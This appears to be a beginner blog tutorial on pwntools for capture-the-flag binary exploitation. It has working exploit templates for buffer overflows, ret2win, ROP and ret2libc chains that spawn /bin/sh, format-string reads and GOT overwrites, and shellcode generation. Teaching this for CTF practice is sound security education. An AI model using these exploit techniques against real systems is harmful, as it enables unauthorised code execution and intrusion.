Ethical Hacking #pwntools#CTF#binary exploitation

Pwntools CTF Guide: Binary Exploitation for Beginners

Learn pwntools for CTF binary exploitation — buffer overflows, ROP chains, format string attacks, and interacting with remote services.

8 min read

Pwntools is the standard Python library for binary exploitation in CTF (Capture the Flag) competitions. It provides a clean API for interacting with local and remote processes, crafting payloads, and automating exploit development. If you’re getting into pwn challenges, pwntools is the first tool to learn.

Installation

pip3 install pwntools

# Also install pwndbg for enhanced GDB experience
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh

Basic Structure of a Pwntools Exploit

from pwn import *

# Connect to a process or remote service
p = process('./vulnerable_binary')  # local
# p = remote('ctf.example.com', 4444)  # remote

# Send data
p.sendline(b'hello')

# Receive output
response = p.recvline()
print(response)

# Switch to interactive mode (when you have a shell)
p.interactive()

Setting Architecture

context.arch = 'amd64'   # or 'i386', 'arm', 'mips'
context.os = 'linux'
context.log_level = 'debug'  # verbose output for debugging

Buffer Overflow Basics

The classic pwn challenge: overwrite the return address to control execution.

Step 1: Find the offset

# Generate a cyclic pattern
python3 -c "from pwn import *; print(cyclic(200))"

# Run in GDB, crash the binary, note the value in RSP/EIP
gdb ./vuln
run < <(python3 -c "from pwn import *; print(cyclic(200))")
# After crash:
# x/wx $rsp  (or $eip for 32-bit)

Find the offset:

from pwn import *
offset = cyclic_find(0x61616174)  # value found in RSP
print(f"Offset: {offset}")

Step 2: Build the payload

from pwn import *

p = process('./vuln')
elf = ELF('./vuln')

offset = 72  # found from cyclic

# Simple ret2win — overwrite return address to jump to win function
win_addr = elf.symbols['win']

payload = b'A' * offset + p64(win_addr)

p.sendline(payload)
p.interactive()

Working with ELF Files

elf = ELF('./binary')

# Get function/symbol addresses
print(hex(elf.symbols['main']))
print(hex(elf.got['printf']))   # GOT entry for printf
print(hex(elf.plt['system']))   # PLT entry for system

# Check security mitigations
checksec('./binary')
# or: elf.checksec()

checksec output shows: NX (non-executable stack), PIE (position-independent executable), RELRO, Stack Canary, ASLR.

ROP (Return-Oriented Programming)

When NX is enabled, you can’t execute shellcode on the stack. ROP chains existing code gadgets:

from pwn import *

elf = ELF('./vuln')
rop = ROP(elf)

# Find gadgets automatically
rop.call('puts', [elf.got['puts']])   # call puts(puts@got) to leak libc address
rop.call('main')                       # return to main

print(rop.dump())

payload = b'A' * offset + rop.chain()

Ret2libc with ASLR

from pwn import *

elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vuln')
rop = ROP(elf)

# Stage 1: leak libc address
rop.puts(elf.got['puts'])
rop.main()

p.sendline(b'A' * offset + rop.chain())
p.recvline()  # skip output before leak

leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')

# Stage 2: ret2system
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))

p.sendline(b'A' * offset + rop2.chain())
p.interactive()

Format String Exploitation

Format string bugs occur when user input is passed directly to printf-family functions.

Leak stack values

from pwn import *

p = process('./vuln')

# Leak stack values — %p reads pointer-sized values
p.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')
print(p.recvline())

Arbitrary read

# Read from a specific address
target_addr = 0x601060

# Format: [address][padding]%offset$s
payload = p64(target_addr) + b'%7$s'  # read string at parameter 7

Arbitrary write (GOT overwrite)

# Overwrite GOT entry of puts with system's address
from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

writes = {elf.got['puts']: elf.plt['system']}
payload = fmtstr_payload(6, writes)  # 6 = format string parameter offset

p.sendline(payload)

Shellcode

from pwn import *

context.arch = 'amd64'

# Generate shellcode
shellcode = asm(shellcraft.sh())
print(enhex(shellcode))

# Shellcraft templates
shellcode = asm(shellcraft.linux.execve('/bin/sh', ['/bin/sh'], None))

Remote Exploitation

from pwn import *

# Connect to CTF server
p = remote('pwn.ctf.example.com', 4444)

# ... same exploit code ...

p.interactive()

Debugging Tips

# Attach GDB to a running process
p = process('./vuln')
gdb.attach(p, 'break main\ncontinue')

# Pause to attach manually
pause()

# Log all I/O
context.log_level = 'debug'

# Print payload for inspection
log.info(f'Payload: {payload.hex()}')

Resources for Learning Pwn

  • pwn.college: free structured curriculum for binary exploitation
  • HackTheBox pwn challenges: real-world difficulty
  • picoCTF: beginner-friendly CTF with pwn category
  • ir0nstone’s gitbook: excellent pwntools walkthroughs
  • ROP Emporium: ROP gadget practice with purpose-built binaries

Start with ret2win (no protections), then progress to ret2libc (NX enabled), then PIE + ASLR combined. Each protection layer adds one technique to your toolkit.

#buffer overflow #binary exploitation #CTF #pwntools